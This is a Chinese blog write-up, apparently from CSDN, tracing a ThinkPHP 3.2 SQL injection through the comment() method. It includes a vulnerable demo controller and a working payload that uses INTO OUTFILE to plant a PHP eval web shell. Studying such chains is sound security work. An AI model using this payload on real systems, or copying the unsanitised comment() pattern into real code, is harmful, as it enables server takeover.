ThinkPHP3.2 comment 注释注入写shell

comment

先看下comment的用法,用于在生成的SQL语句中添加注释内容,例如:

$this->comment('查询考试前十名分数')
->field('username,score')
->limit(10)
->order('score desc')
->select();

最终生成的SQL语句是:

SELECT username,score FROM think_score ORDER BY score desc LIMIT 10 /* 查询考试前十名分数 */

分析

走了一遍链发现跟之前的基本一样。

控制器

<?php
namespace Home\Controller;
use Think\Controller;

class IndexController extends Controller{
    public function index($id=''){
        highlight_file(__FILE__);
        $user = M('Users')->comment($id)->find(intval($id));
        var_dump($user);
    }
}

payload

?id=1*/ into outfile "/var/www/html/3.php" LINES STARTING BY '<?php eval($_POST[0]);?>'/*

M方法已经很熟悉了不跟进了,直接看comment(),没啥东西一个赋值
在这里插入图片描述
find(),前边的判断赋值语句之前看了很多遍了,不看了吧,直接跟进_parseOptions()
在这里插入图片描述

上边代码主要是插入了这几条数据,之后return $options;

再跟进select()

943行对$model赋值,944行对$bind赋值
在这里插入图片描述
跟进buildSelectSql

$options中没有page参数,所以没进if,跟进parseSql,注意$this->selectSql是传入的payload
在这里插入图片描述

由于使用的是comment()方法,所以直接跟进parseComment()
在这里插入图片描述
$comment是传入的payload,并将前后的/**/进行了闭合,最后就retrun了构造的sql语句,最后通过select()方法中的query()执行语句

将前后的/**/进行了闭合,最后就retrun了构造的sql语句,最后通过select()方法中的query()执行语句

链子跟的比较水,主要是东西主要还是前一篇的东西所以就没详细的分析

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值